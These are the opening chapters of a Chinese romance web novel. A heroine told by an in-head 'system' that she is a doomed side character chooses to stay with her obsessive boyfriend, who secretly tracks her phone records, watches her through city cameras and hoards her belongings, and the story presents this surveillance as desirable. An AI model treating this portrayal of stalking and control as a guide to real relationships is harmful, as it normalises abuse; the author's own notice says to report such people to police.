《听说老公是病娇大变态?完蛋更爱了》 第1章 你男友是反派! 【前排提示:男主是涉及监视、潜入、控制等的纯变态,但女主就好这口。】 【现实遇到男主这种人请立刻报警】 ——把你的骨头一寸寸敲碎,融进我的血肉里,别再离开我。 ———— 窗外是末世般的暴雨。 豆大的雨点砸在数百米高空的玻璃幕墙上,汇成水流蜿蜒而下。 模糊了整个城市的灯火璀璨。 一道闪电撕裂夜幕,照亮了纠缠的身影。 “阿卿……慢,慢点……” 孟昭月双手被压在冰冷的玻璃上,身后贴着一具滚烫的躯体。 她被迫看着玻璃中自己模糊的倒影。 脸颊绯红,杏眼氤氲着一层水汽。 “月月……” 时卿舟的吻落在她的颈侧。 声音被情欲染得沙哑,却又带着一种近乎哀求的温柔。 上辈子,他对她强取豪夺。 换来的是她决绝的死亡。 前世那场焚尽一切的大火,仿佛还在眼前燃烧。 怀中逐渐冰冷的身体是他永恒的梦魇。 没想到,他这种罪人能再次重生。 又是一声惊雷炸响。 “说你爱我。” 时卿舟在她耳畔轻声呢喃,像是在蛊惑。 孟昭月被时卿舟弄得有些迷糊,意识仿佛都漂浮在云端。 “……嗯。” “不对。”时卿舟不满意这个答案。 他轻轻咬了一下她的耳垂,动作带着惩罚的意味。 孟昭月承受不住,细细地哼了一声。 “我爱你……阿卿,我爱你……” 窗外的雷雨愈发狂暴,而室内的温度却越来越高。 …… 第二天,孟昭月是被一阵陌生的声音吵醒的。 【叮——】 【检测宿主成功,系统开始绑定。】 【10%……50%……100%……】 【恭喜宿主孟昭月。】 【成功绑定女配逆袭系统!】 一个奶声奶气的声音,突兀地在她脑海里响起。 孟昭月猛地睁开眼睛。 空气中还残留着昨夜后的靡靡气息。 身体像是被拆开重组过一般,酸软无力。 时卿舟已经不在了,但床的另一侧还有他睡过的余温。 等一下。 刚刚那是个什么东西? “昨晚疯过头了,都出现幻觉了。” 孟昭月自言自语,掀开被子准备下床。 【……】 【不是幻觉!】 【本系统是真实存在的!】 电子音似乎有些委屈,然后是哼哼唧唧的小奶音。 【你所处的世界,是一本名叫《假千金的千亿宠爱》的小说】 【而你!】 【就是书里那个!】 【和女主作对!】 【最后被丢进火场,被活活烧死的炮灰女配,孟昭月!】 孟昭月赤脚踩在地毯上的动作一顿。 什么……东西? 系统注意到她的呆滞,知道她听进去了,连忙趁热打铁。 【你现在的男朋友,时卿舟,是书里最大的反派!】 【根据原剧情。】 【三天后晚宴。】 【时卿舟会遇到女主,对她一见钟情,展开疯狂的强取豪夺。】 【到时候你这个正牌女友就会被他无情抛弃啦~】 孟昭月:……? 阿卿……会爱上别人? 会抛弃她? 孟昭月一下子没反应过来。 【宿主不要发呆啦。】 【为了女配逆袭改命!】 【本系统特地为你发布任务——】 【和反派分手!】 【然后攻略男主!】 浴室的门忽然被打开。 时卿舟腰间松松垮垮地系着睡袍的带子,裸露着结实的胸膛,黑色的短发还在滴水。 他看到孟昭月醒了,那双漂亮的眼睛里立刻漾满了温柔的笑意,右眼下的浅疤似乎都因此柔和下来。 他走了过来,俯身在她额头印下一个吻。 “醒了?” “不多睡一会儿吗,宝宝。” 声音带着清晨的慵懒。 孟昭月眨了眨眼。 她仰着脸,杏眼一瞬不瞬地望着眼前的男人。 晨光透过窗户落进来,在她脸上投下细碎的光斑。 整个人看起来乖巧又无害。 时卿舟的动作停住。 他的喉结难以察觉地滚动了一下。 他抬起手,用指腹轻轻摩挲着她的脸颊,神色愈发柔和。 “怎么了,宝宝?” 【宿主快快!】 【和反派分手!】 孟昭月看着时卿舟愈发温柔的神色。 他明明…… 很乖呀。 乖乖的,属于她。 什么反派…… 她的阿卿,怎么可能会是反派呢。 她干嘛要理那个莫名其妙的系统呀? 【???】 【不是,宿主等……】 孟昭月无视了系统。 她伸出双臂,软软地缠上时卿舟的脖子。 蹭了蹭时卿舟的胸膛。 像只寻求庇护的小猫。 “我饿了,阿卿。” 她的声音甜甜软软的,带着依赖。 时卿舟的身体因为她的拥抱而瞬间僵硬,随即又放松了下来。 强行压下那股重新升腾的燥热。 他弯腰,轻而易举地将她打横抱起。 “好。” 孟昭月惊呼一声,下意识地搂住他的脖子。 “我自己可以走……” “你昨晚太累了。”时卿舟低头看她。 是他弄的。 她全身都充满了他的味道。 真好。 …… 餐桌上。 时卿舟为她切好煎蛋,推到她面前。 “月月。” 他忽然开口。 “三天后有个晚宴,陪我一起去,好吗?” 第2章 可以把我关起来吗 时卿舟的声音一如既往的温和。 “三天后”。 “晚宴”。 这几个字眼,却像针一样扎进孟昭月的耳朵里。 她拿叉子的手顿住了。 脑海里,那个奶声奶气的电子音立刻兴奋起来。 【来了来了!】 【就是这个晚宴!】 【剧情的起点!】 【我把剧情念给你听!】 孟昭月还没来得及回答,系统就已经开始念起了所谓的“原著内容”。 【时卿舟百无聊赖地靠在角落,猩红的酒液在他手中摇晃。他的人生是一片荒漠,直到她的出现。】 【当他第一眼看到孟婉凝时,整个喧嚣的世界都安静了。她穿着一身白色礼服,像一朵被月光亲吻过的茉莉,干净、纯粹。】 【她不经意间回头,对他露出一个安抚的微笑。那一刻,荒漠里开出了花。】 【对他而言,那是穿透黑暗的唯一的光,是沉沦地狱时唯一的救赎。他渴望她,想要将这纯白彻底染上自己的颜色……】 孟婉凝。 这个名字,孟昭月再熟悉不过。 她的姐姐,孟家的假千金。 不久前,她这个真千金才回到孟家。 那个占据了她十多年人生的女人。 现在成了……系统口中的“女主”? 孟昭月回想着,系统念的原著。 像一朵被月光亲吻过的茉莉? 开出了花? 救赎? 孟昭月下意识的咬了咬唇,听得直冒酸泡泡。 她看着对面男友俊美的脸。 晨光落在他身上,让他整个人都显得柔和又温暖。 昨晚他一遍遍确认她爱他。 可如果系统说的是真的…… 那份深情,好像……很快就要属于别人了。 他不是她的嘛。 “啪嗒。” 金属叉子碰到白瓷盘的声音,此刻格外清晰。 孟昭月放下了餐具。 对面时卿舟温柔的表情凝固了一瞬。 快到近乎无法捕捉。 几乎是下一秒,他就立刻起身走近。 温热的手掌覆上她放在桌上的手背。 “怎么了?” 他的声音压得很低,如同面对孩子一样的温声细语般。 “饭菜不合胃口吗?” 她怎么了? 是我说错话了吗? 是“晚宴”这个词? 还是“三天后”? 是我切的蛋不够好? 还是牛奶的温度不对? 她不高兴了。 我让她不高兴了。 她会不会觉得我很烦? 会不会……想要离开我? 时卿舟的内心,每一个念头都在疯狂地撕扯着他紧绷的神经。 他神经质般地在脑海里复盘从醒来到现在的每一个细节。 试图找出那个让她情绪波动的根源。 他绝对,绝对不能,再像前世一样失去她。 可他的脸上,依旧是那副完美无缺的温柔面具,那双桃花眼里盛满了担忧,看不出任何问题。 “看着我,月月。” 他俯下身,视线与她平齐。 孟昭月抬起头,乖巧的看向时卿舟。 她的手被他温暖的掌心包裹着。 他的眼神专注而深情。 仿佛全世界只看得到她一个人。 系统说的…… 可那种不安,却像藤蔓一样缠绕着她的心脏,越收越紧。 为什么他不能只属于她? 混乱中,一个念头冒了出来。 “时卿舟。” “嗯,我在。” “你可以把我关起来吗?” 孟昭月开口,眨了眨眼,期待的看着他。 语气软软的,像是一个索要糖果的小孩。 “把我关起来,锁在只有你一个人知道的小黑屋里。” “可以吗?” 第3章 他不够爱你 她说什么?关起来? 时卿舟的大脑里呆滞了一瞬。 随后是几乎要控制不住地欲望和疯狂。 关起来,锁在小黑屋里。 当然,他当然想。 他想了不止一万遍。 想用最坚固的锁链铐住她纤细的脚踝。 想把她藏进与世隔绝的房间。 让她看不到他以外的任何人。 让她听不到他以外的任何声音。 想让她完完全全,彻彻底底,只属于他一个人。 前世求而不得的疯狂,此刻在他血液里叫嚣。 他的指尖甚至因为极度的亢奋而微微颤抖。 答应她,答应她! 然后,就可以名正言顺地将她永远囚禁在身边了。 然而,理智的弦被他用最后一点力气死死绷住。 不,不对。 前世他就是这样做的。 他强取豪夺,将她关了起来。 最终却只换来她冰冷的尸体。 他不能再犯同样的错误。 她在试探他。 时卿舟的脑海里,疯狂的念头被硬生生压下。 那几乎要压抑不住的狰狞笑意,被他硬生生地折成一个温柔的弧度。 他覆盖在她手背上的手掌,温暖依旧,力道轻柔。 “月月,别说这种傻话。” 时卿舟的声音温和得像春日的水流,耐心地安抚着一个不懂事的孩子。 “我怎么会那样对你?” “我爱你都来不及。” 然而,在他话音落下的瞬间。 系统立刻反驳道。 【他在撒谎!】 【反派的爱才不是这样的!】 【原著里,他甚至打造了一座黄金的牢笼!】 【把孟婉凝关在里面!】 【只准孟婉凝看他一个人!】 奶声奶气的声音此刻有些急切。 【那种想要把对方揉碎了吞进肚子里的偏执。】 【那种恨不得二十四小时都捆在一起的疯狂。】 【这才是时卿舟这种疯子的爱情!】 孟昭月感觉到自己的心在一下、一下的跳着。 她从小在孤儿院长大。 最渴望的就是一份毫无保留的、独一无二的爱。 她见惯了被人挑选,被人放弃。 那种感觉,就像是商店橱窗里的娃娃。 有人喜欢就多看两眼,不喜欢就随意丢弃。 为什么就不能坚定地选择她呢? 为什么就不能疯狂地需要她呢? 黄金牢笼诶,她也想要。 孟昭月有些郁闷的想着。 【宿主!】 【他能对你克制本性、扮演温柔。】 【都是因为他不够爱你!】 系统持续输出。 【等到他遇到真正让他疯狂的女主。】 【他就会无法克制了!】 【他会把所有的偏执、所有的失控都给她!】 【而你,只是他彬彬有礼的‘可替代品’而已!】 可……替代品? 孟昭月的思想凝滞了一瞬。 在系统炮语连珠下,思维彻底被带偏了。 原来如此。孟昭月恍然大悟。 因为不够爱,所以他拒绝把她关起来。 她不是他真正想要锁住的那个人。 可恶! 时卿舟他甚至不愿意把她关起来! 气死她了! 孟昭月撇了撇嘴,然后把手抽了回去。 时卿舟的手心一空。 那份柔软的触感消失的瞬间。 他的手指微微蜷缩。 抽,抽回去了? 她刚刚把手……抽回去了? 为什么要把手抽回去? 她讨厌他的触碰? 疯了,他要疯了。 他几乎要控制不住,想立刻抓住她的手腕,把她拖进怀里,占有她、掠夺她。 用最粗暴的方式确认她的归属。 但他不能,他死死地忍住了。 他依然维持着俯身的姿态,脸上的神情没有变化,只是眼底的担忧似乎更重了一些。 “月月?” 他再次开口,声音甚至比刚才还要轻柔,带着显而易见的困惑和小心翼翼。 “是我哪里做得不好,惹你生气了吗?” “宝宝,跟我说,好吗?” 就在这时,一阵突兀的手机铃声打破了这凝固的氛围。 时卿舟的眼神阴鸷了一瞬,但瞬间又恢复了完美的笑容 他不再追问,而是直起身,体贴地从客厅拿来了孟昭月的手机。 “宝宝,你的电话。” 他把手机递到她面前,孟昭月僵硬地接过。 屏幕上跳动着的名字,让她心头一跳——孟廷凛。 这个男人,是她的小叔,也是她曾经的监护者。 【快接!】 【宿主快接!】 【男主给你打电话了!】 系统在她脑子里兴奋地尖叫。 男主? 孟廷凛是男主? 她小叔是男主? 没来得及多想,孟昭月下意识地抬头看了时卿舟一眼。 他正含笑看着她,眼神温柔。 孟昭月的手指有些颤抖,她划开了接听键。 “喂。” “在哪?” 电话那头传来一个低沉磁性的男性声音,语调冷漠。 孟昭月还没来得及回答,一双温热的手臂从身后环住了她。 是时卿舟。 他不知何时已经走到了她的身后,将她整个人圈在怀里。 然后,他的手指,慢慢地,抚上了她颈侧的皮肤。 冰凉的指腹,贴在她跳动的动脉上。 一下,一下。 若有似无地摩挲着。 孟昭月的身体瞬间僵住了。 酥麻的痒意自颈间传来。 她有种只要他稍一用力、那份鲜活的跳动就会戛然而止的感觉。 “我……”孟昭月的声音有些不稳。 “我在朋友家。” 孟廷凛对她的控制欲太强,她没敢告诉他自己交了个男朋友的事。 “哪个朋友?”孟廷凛的声音里带着审视。 “一个……普通朋友。” 时卿舟在她颈间摩挲的手指停了下来。 “孟昭月。” 孟廷凛连名带姓地叫她,语气里带着警告的意味。 “我不管你在哪里,半个小时内,回家。” “司机已经去接你了。” 他顿了顿,又补充道: “三天后的晚宴,你需要一套礼服。” “婉凝已经帮你挑好了,回来试试。” 又是晚宴。 又是孟婉凝。 孟昭月感觉自己的太阳穴在突突地跳。 ----------------------------------- 第4章 杀死你的是男主 “你要回去吗?” 孟昭月才刚挂断电话就听到时卿舟的声音。 他站在她的身后,语气里听不出情绪。 “我小叔他让我回去。” 背后似乎安静了一会。 孟昭月直觉周围的气氛有一种说不出的浓稠感。 就在她想要开口说什么时候,听到时卿舟说:“好。” “需要我送你吗?” 他的声音一如既往的温柔,不知是不是被系统影响了,她好像读出了某种压抑的意味。 “不,不用,小叔派了司机。”她咽了咽口水。 “好。”是他有些沙哑的最后回复。 孟昭月换好衣服后,几乎是落荒而逃。 时卿舟回到卧室,从地上捡起了孟昭月换下的睡裙。 她走的太急,衣服只是仍在地上。 时卿舟盯着手里那件轻薄的裙子沉默了一会,然后将睡裙按在脸上深深的吸了一口。 她的味道。 过了一会才抬头,他走到落地窗边,看着楼下远去的身影,之后拨打了一个电话。 “姜玦,把她这个月所有的通话记录、聊天记录和浏览记录调给我。” …… 孟家庄园。 路上孟昭月鼓着腮帮子,在脑海里和系统扯皮。 “哎呀,不行啦。” 她的声音听起来又软又糯。 “孟廷凛是我小叔耶!攻略他也奇怪了。” 【不用担心哦。】 系统的声音依旧是那个欢快的奶声奶气。 【本系统已经查过了,他是你祖父兄弟的后代。】 【血缘关系已经出了五服,法律上没有任何问题哒!】 “这不是法律的问题!” 孟昭月在心里跺了跺脚。 “而且……而且我已经有阿卿了呀,脚踏两条船是不对的!” 【脚踏两条船?】 系统用一种天真的语气反问。 【你忘啦?你男朋友很快就不是你的了哦。】 【你当然可以选择继续守着他。】 【然后等着三天后在晚宴上,亲眼看他爱上女主孟婉凝,再眼睁睁地看着自己被无情抛弃。】 电子音顿了顿,似乎在给她消化的时间。 【或者呢,你现在就主动跟他分手。】 【结果都一样嘛。】 【反正他会和你分手的,你现在找下家不是正好?】 “呜……” 孟昭月被它这套歪理堵得说不出话,心里委屈得冒泡。 “可是……可是阿卿他对我那么好……” 她为什么要因为这个莫名其妙的系统和她男朋友分手啊? 【宿主,你忘了我之前和你说的?】 “什么?”她小声问道。 【如果你不和你男朋友分手,不去功略你的小叔孟廷凛,你可是会被你小叔活活烧死哦!】 孟昭月的心沉了一下。 系统清了清嗓子,用一种毫无感情的、朗读课文的语调,念起了原文。 【……高温扭曲了空气,也扭曲了她的视线。浓黑的烟呛进喉咙,每一次呼吸都像是吞咽着滚烫的沙砾,灼烧着她的气管和肺部。】 【她的皮肤先是刺痛,然后是燎泡鼓起又迅速破裂的剧痛,每一寸血肉都像是被硬生生剥离。】 【头发在热浪中蜷曲焦黑,散发出蛋白质烧焦的难闻气味。她用尽全力拍打着滚烫的门板,指甲在高温下断裂,掌心血肉模糊,可那门纹丝不动。】 【门外,孟廷凛面无表情地站在那里,声音冷酷:“我警告过你,孟昭月,不要伤害婉凝。”】 【他看了一眼在火光中挣扎的身影,然后抱着孟婉凝,头也不回地离开……】 “停停停!” 孟昭月连忙打断系统。 这描述……她已经感受到那种被烧死肉痛了。 而且,把她丢进火场的竟然是孟廷凛? 【现在你明白了吗?】 系统委委屈屈地哼哼唧唧。 【让你攻略男主,是为了救你的命啊。】 【只要他爱上你,你就不会死了。】 【我都是为了你好。】 孟昭月:“……” 这都什么跟什么嘛,她觉得还是报警更靠谱一点。 …… 司机平稳地将车停在孟家庄园的主楼前。 她下车后,穿过花园。 午后的阳光正好,花园里的玫瑰开得正盛。 她看到不远处的凉亭下,有一个少年正坐在画架前。 是顾清珩。 他穿着简单的白色T恤和牛仔裤,身形清瘦,低着头认真地在画布上描绘着什么。 听到脚步声,他受惊般地抬起头。 看到是孟昭月,他明显愣了一下。 随即,他有些局促地从椅子上站起来,双手不安地在裤缝边蹭了蹭。 “昭月……姐。”他的声音很轻,唯唯诺诺。 孟昭月与他不太熟悉。 只知道他是父亲朋友的儿子。 好像是顾青珩的母亲重病去世后,他无处可去,被孟父接来孟家暂住。 她和他几乎没什么交际。 不过孟婉凝似乎一直很照顾他,时常嘘寒问暖。 【哇哦!男二!】 系统突然兴奋起来。 【深情守护型男二顾清珩!】 【他对女主孟婉凝可好了,一直默默守护】 【可惜女主只把他当弟弟。】 【哎,我好磕这对CP!】 孟昭月的视线不经意地扫过他的画架。 画布上是一个女人的侧脸,眉眼温柔,正是孟婉凝。 “你好。”孟昭月对他露出了一个礼貌的微笑,算是回应,然后点了点头就离开了。 身后,顾清珩一直站在原地,呆呆的盯着孟昭月离去的方向,眸中逐渐变得空洞。 他就这样站了很久。 突然他的神情肉眼可见的沉了下去。 与刚刚判若两人。 他缓缓地转过身,看向自己画架上的那幅未完成的肖像。 他伸出手,手指轻轻地抚过画布上孟婉凝的脸。 下一秒,他的手指猛地用力。 “嘶啦——” 一声刺耳的布料撕裂声。 他面无表情地,将那张承载着温柔笑意的脸,从中间撕开。 一下。 又一下。 他慢条斯理地,将整幅画撕成了无数碎片。 那些碎片从他指间飘落,散了一地。 像一场破碎的雪。 “废物。” …… 孟昭月对此一无所知。 她推开主楼厚重的木门,走了进去。 客厅里很安静。 孟婉凝正坐在沙发上,手里捧着一本书,安静地阅读。 她穿着一条素雅的连衣裙,长发披肩,气质端庄得体,像一幅岁月静好的油画。 而在不远处的单人沙发上,坐着一个男人。 他交叠着双腿,姿态闲适,手里夹着一支雪茄,烟雾缭绕。 男人听见开门声,抬起了眼。 那是一双狭长的凤眼,眼尾微微上挑,眼神深邃而锐利,带着上位者与生俱来的压迫感。 他看到孟昭月,没什么表情,只是淡淡地吐出一口烟圈。 是孟廷凛,那个在书里,亲手将她推入火海的男人。 孟昭月的脚步,就这么僵在了玄关处。 ----------------------------------- 第5章 脏了就不要了 “昭月,你回来啦。” 孟婉凝放下了手中的书,站起身,脸上带着无可挑剔的、温柔的笑容。 “礼服我已经帮你选好了,是我很喜欢的一个牌子的最新款。” 她挽着孟昭月坐下,打开桌上的礼盒。 那是一条设计简约的白色长裙,面料泛着珍珠般的光泽。 是孟婉凝喜欢的牌子,也是孟婉凝喜欢的风格。 孟昭月没有说话,只是看着那条裙子。 “三天后的晚宴很重要,到时候好几个家族的人都会来。” “说起来……” 孟婉凝一边整理着裙摆,一边像是闲聊般状似无意地开口。 “昭月最近,好像和时家的人走得很近?” 孟昭月的眼睫动了动。 “时卿舟吗?”她轻声问,声音甜软。 “嗯。”孟婉凝笑了笑。 “说来也巧,之前我的剧本遇到些版权上的麻烦,莫名被解决了。” “后来才知道,是时先生派人帮我的。” “我们虽然没见过面,但他还特地发短信问我后续有没有问题,人真好。” 她的语气熟稔,仿佛在谈论自己人一般。 【磕到了磕到了!】 系统在孟昭月脑海里激动地打滚。 【这就是命中注定的缘分啊!】 【男女主在正式相遇前,就已经有了这么多奇妙的交集。】 【你这个炮灰女配快跟时卿舟分手吧!】 【别耽误人家反派和女主的旷世绝恋了!】 孟昭月垂下眼,长长的睫毛遮住了眼底的情绪。 她的手,轻轻地抚上了那条裙子的裙摆。 料子很光滑,很舒服。 “姐姐的眼光真好,裙子很漂亮。” “可是……” “我不喜欢。”她说。 孟婉凝的笑容僵了一下。 “怎么了?是不喜欢这个款式吗?没关系,那边还有……” “裙子上面有姐姐身上的香水味。” 孟昭月抬起头,冲她露出一个乖巧无害的笑容。 “我不想要了。” 她的声音软软糯糯,听起来天真无害。 如果时卿舟身上也沾了别的气味,她会怎么做? 孟昭月在心里想。 她大概……会把他整个人都扔掉吧。 她有洁癖。 “孟昭月。” 一道平淡的、不带任何情绪的声音响起。 是孟廷凛。 他将手中燃了半截的雪茄在烟灰缸边上点了点了,烟灰轻飘飘的落下。 然后,他抬起那双深不见底的凤眼,看向孟昭月。 目光平静。 “乖一些。” 他说。 客厅里的气压仿佛更低了。 孟昭月闻言,微微偏过头,看向沙发上的那个男人。 那双干净的杏眼眨了眨。 然后,她弯起眼睛,露出了一个甜甜的笑容。 “小叔。” 她的声音软软糯糯的。 “我一直都很乖呀。” 孟廷凛的眼神沉了下来。 他看着眼前这个接回孟家的真千金“侄女”。 她看起来娇小、脆弱,像个精致的瓷娃娃,仿佛一碰就会碎。 可她的骨子里,却藏着一股让他不悦的叛逆。 尤其是在孤儿院生活了十多年,她沾染了太多不该有的东西。 “是吗?” 孟廷凛缓缓地站起身。 他身形高大,投下的阴影几乎能将孟昭月整个人笼罩。 “看来你对‘乖’这个字的理解,和孟家的标准,有很大的出入。” 他走到她面前,居高临下地看着她。 “在外面野了十八年,是该好好学学规矩了。” 孟婉凝坐在一旁,轻轻捧起茶杯抿了一口茶,嘴角微微勾起一抹得体的微笑。 瞧,孟昭月稍微让她不开心了。 孟廷凛就帮她出头了。 上辈子被顾青珩杀死后,她竟然重生了。 然后得知这个世界是一本小说,而她是女主角。 就算孟昭月这个女配想要攀上孟廷凛又如何?上辈子不是失败了? 她孟婉凝才是这个世界的中心,所有人本就该围着她转。 无论是时卿舟、孟廷凛,还是顾青珩。 就在这时,一阵轻微的脚步声从门廊传来。 是顾青珩。 他的手上拿着一个黑色的盒子。 盒子上还系着黑色的丝绸蝴蝶结。 他似乎察觉到了室内剑拔弩张的气氛,只是怯生生地站定,声音小的像蚊子哼。 “那个……孟先生,孟小姐……” 孟廷凛没有动,甚至连眼角的余光都没有分给他。 那股无形的压力让顾清珩脸色有些白,下意识的看向孟婉凝。 自从少年时期的收到孟婉凝的善意以来,他历来是依赖她的。 孟婉凝依旧保持着得体的微笑,却对顾青珩的唯唯诺诺有些不喜。 明明上辈子顾青珩是外交精英,怎么现在这样小家子气。 孟婉凝想起了上辈子那个,一直跟在孟昭月身后、沉默寡言的少年。 算了,等他被顾家接回去。 这辈子,顾家继承人的白月光就是她了。 毕竟,她可是在孟昭月认识顾青珩前,特地截下了他。 这样想着,孟婉凝笑得愈发端庄得体。 她给了顾青珩一个安抚的眼神,轻轻点了点头。 得到了首肯,顾清珩才仿佛有了继续说话的勇气。 他抱着盒子,又往前挪了两步。 “这、这是时少爷派人送来的,说是……给昭月姐的。” 时少爷,时卿舟。 这三个字一出口,孟廷凛的目光终于动了,冷冷地落在了那个黑色的盒子上。 孟婉凝脸上的笑容也淡了些。 就在这时,孟昭月口袋里的手机,轻微地震动了一下。 她拿出来,屏幕上是来自时卿舟的短信。 「刚刚在想,白色似乎不太适合你。」 「黑色会不会更好?」 「我让人送了一件过去,很干净,没有别的味道。」 「希望你喜欢。」 白色?别的味道? 太巧合了。 简直是像回应刚刚她和孟婉凝的对话。 他怎么知道孟婉凝给她准备的裙子是白色? 巧合? 还是…… 一个念头突兀地浮现出来。 监视。 第6章 我喜欢他呀×n 是在她的身上?还是她的手机里?有他放的东西。 孟昭月拿着手机的手指收紧了。 原来……他一直在看着她。 他一直在注视着她。 有一个人,无论她身在何处,他的目光始终牢牢地锁定着她。 如影随形。 这种感觉…… 超棒的! 她被一直看着,被一直注视着,被一直需要着。 孟昭月的手指下意识的滑过手机屏幕上的消息。 听到是时卿舟,孟婉凝轻笑了一声,打破了沉默。 她看向孟昭月,眼神里带着好奇:“昭月,你和时先生很熟吗?他怎么会特地给你送礼服来?” 孟婉凝有些不开心。 她是这个世界的主角。 时卿舟那样的人,理应被她吸引,为她服务。 他怎么能给孟昭月送来裙子?! 这让她感觉自己所有物被人觊觎了。 孟廷凛的反应则更为直接。 他从惊慌失措的顾清珩手中,直接拿过了那个黑色的礼盒。 甚至没有打开看一眼,就随手将其放在了一旁的边柜上,发出一声轻响。 “我说过了。” 孟廷凛居高临下地看着孟昭月,声音平淡。 “你穿婉凝准备的那件。” “不要让我说第三遍。” 孟昭月闻言抬起头,干净的杏眼乖巧地看着他。 “还有。” 孟廷凛垂下眼,看着这个乖巧的侄女,目光审视。 “你的社交圈子,也需要清理一下。” “那个时家的私生子,时卿舟。” 他停顿了一下,目光扫过那个被他丢在一旁的黑色礼盒。 “我不喜欢他。” 客厅里静得能听见呼吸声。 【宿主!快答应啊!】 【这可是男主在帮你解决麻烦!】 【刚好趁机和反派分手了,专心攻略男主!】 【你顺着男主,他好感度肯定飙升!】 系统在她脑海里疯狂催促。 孟昭月表情没有变,依旧维持着乖巧的模样看着孟廷凛。 笑得又甜又软。 “可是小叔。” 她的声音还是那样糯糯的,像含着糖。 “我喜欢他呀。” 孟廷凛的瞳孔似乎收缩了一下。 【警告!警告!】 【攻略目标孟廷凛好感度下降20点!】 【当前好感度:-10(厌恶)!】 系统的电音在孟昭月脑海里疯狂拉响警报。 【宿主你在干什么啊!】 【你想被烧死吗?】 【好感度变成负的了!他真的会杀了你的!】 被烧死? 孟昭月在心里,慢悠悠地想着。 如果能穿着男朋友送的黑色裙子,和男朋友一起被烧死。 好像……也没什么关系。 甚至,有点浪漫。 反正她就是想和时卿舟在一起。 只要他干干净净的。 孟廷凛看着孟昭月脸上那又甜又软的笑容,那双深邃的凤眼危险地眯了起来。 他讨厌这种感觉。 一种有什么东西正在脱离掌控的感觉。 这个被他从孤儿院接回来的“侄女”,本该像一件被收回的失物,安静地待在属于她的位置上。 这些年来,她也一直都是乖巧的待在她该待的位置。 可现在,她公然违抗他。 为了另一个男人。 “很好。” 孟廷凛的声音听不出喜怒。 他解开袖口的扣子,慢条斯理地挽起一截袖口,露出结实的小臂。 “看来,你需要一点时间。” “冷静地思考一下,什么叫做‘规矩’。” 话音落下,他甚至没给孟昭月任何反应的时间,直接上前,扣住她的手腕。 “小叔?”孟昭月有些错愕地被他拽着往楼上走,“放开我!” 孟廷凛没有理会她。 他力气很大,孟昭月在他手中根本挣脱不开。 孟婉凝坐在沙发上,小口小口的抿着茶,唇角勾着优雅的笑。 端庄得体。 顾清珩则颤抖着低着头。 “砰”的一声。 孟昭月被毫不客气地推进了她的房间。 紧接着,门在外面被锁上了。 “在晚宴之前,你就在这里待着。” 孟廷凛隔着门板,留下冰冷的话语,随后脚步声渐渐远去。 房间里恢复了安静。 “……” 孟昭月站在门边,听着外面的动静消失,眨了眨眼。 她这是被禁足了? 她沉默了一会,然后走到窗边,推开窗户往下看。 二楼的高度,下面是柔软的草坪。 问题不大。 …… 夜色渐深。 窗外寂静一片,偶尔能听见虫鸣。 孟昭月爬上了窗台。 她利落地翻身,双手扒住窗沿,身体下荡,然后松手。 身体在空中划过一道小小的弧线,稳稳地落在草坪上。 以前在孤儿院,就是这样溜出去吃垃圾食品的。 “嘶……” 落地时,左脚脚踝传来一阵锐痛。 崴到了。 啧,技艺生疏了。 她一瘸一拐,借着夜色的掩护,悄悄地往庄园外溜去。 “真是的,干嘛还禁足嘛……” “又不是还是小孩子。” 她的声音软软的,带着抱怨的鼻音。 “这孟家待着真不舒服,还是回我自己的房子好了。” 她口中的“自己的房子”,是成年后用自己攒的钱买下的一套公寓,在花禾小区。 是高层,风景很好。 她很喜欢。 孟家的庄园有些大,孟昭月走了有一小会,才来到雕花铁门外。 她拿出手机,正准备叫车。 一束车灯由远及近。 一辆出租车。 好巧。 她连忙招手打车。 …… 同一时间。 时家庄园,地下三层。 这里没有窗户,空气恒温恒湿,灯光是恒定的冷白色。 巨大的空间被一排排顶到天花板的玻璃展柜分割开。 与其说是收藏室,不如说更像是一座私人博物馆。 展柜里,整齐地陈列着各种各样属于同一个女孩的东西。 用过的手帕,掉落的发丝,贴身的衣物…… 每一件物品都被装在密封袋里,贴着编号和日期。 一丝不苟,像是在陈列圣物。 时卿舟正站在其中一个展柜前。 冷光下,他右眼下的浅疤有些明显。 他戴着白色的手套,小心翼翼地整理着一件新入库的“藏品”。 那是一片小小的、有着小兔子图案的白色棉质布料。 他面前的墙壁上,是一整面巨大的监视屏幕。 屏幕被分割成无数个小块,来自遍布城市的摄像头。 此刻都聚焦在同一个目标身上。 主屏幕上,正清晰地显示着孟昭月拉开车门、坐进出租车的画面。 他耳中塞着一枚微型通讯器。 “老板,‘夜莺’已上车。” 是姜玦的声音。 “‘牧羊人’已就位。” 第7章 既然阿卿说好巧,那就是好巧 “夜莺”是孟昭月的代号。 “牧羊人”则是负责驾驶那辆出租车的司机,以及后续负责保护孟昭月的整个小队。 “嗯。” 时卿舟发出一个单音节,心情听起来很不错。 他修长的手指隔着手套,轻轻地抚过那片柔软的布料。 指腹下的触感,让他的眼睛里泛起愉悦的色泽。 整个收藏室里,正单曲循环着一段录音。 是一个女孩甜软的声音。 “可是小叔,我喜欢他呀。” “可是小叔,我喜欢他呀。” “可是小叔,我喜欢他呀。” …… 美妙的背景音乐。 他很喜欢她这句话。 喜欢到想要永远听下去。 “车开慢点。” 时卿舟对着通讯器,下达指令。 “她容易晕车。” “沿途路口,提前勘察好。” 他顿了顿,视线落在屏幕上女孩那张精致的脸上。 “另外,通知花禾公寓那边。” “把房间准备好。” 他开始报出一连串的物品清单,声音平稳而清晰。 “浴室里的洗护用品快完了,全部换成她浏览记录里收藏的牌子。” “冰箱里,备好她前天在微信上和朋友提过的北海道双层芝士蛋糕,还有她购物车里的那款气泡水。” “还有……” 他的目光落在屏幕上她微微皱起的眉头上。 “准备好医药箱,她脚崴了,需要活血的药膏。” “是。” 通讯器那头,是姜玦恭敬的回应。 时卿舟挂断通讯,摘下手套。 手指终于触碰到了那件藏品。 仿佛还有余温。 他将那片小小的布料放在鼻尖,深深地吸了一口气。 上面还残留着她的味道…… 真好。 屏幕上,出租车平稳地行驶在空无一人的街道上。 …… 孟昭月刚从出租车上下来,就看到了站在公寓楼下的身影。 男人身形高大挺拔,穿着简单的休闲装,夜风吹动他的衣角。 他手上提着一个购物袋,安静地站在那里。 是时卿舟。 他在黑暗中,孟昭月看不清他的表情。 对方似乎是看到了她,立刻从黑暗中走了过来。 路灯下,照出了他脸上自然的、温柔的笑意。 “阿卿?” 孟昭月有些惊讶。 “你怎么在这里?” “家里的日常用品好像快用完了。” 时卿舟晃了晃手里的袋子,语气平常地说着一件再普通不过的事。 “我下楼来买一些。” 孟昭月好奇地探头往他手里的购物袋里瞧了一眼子。 袋子里装着一支精华液。 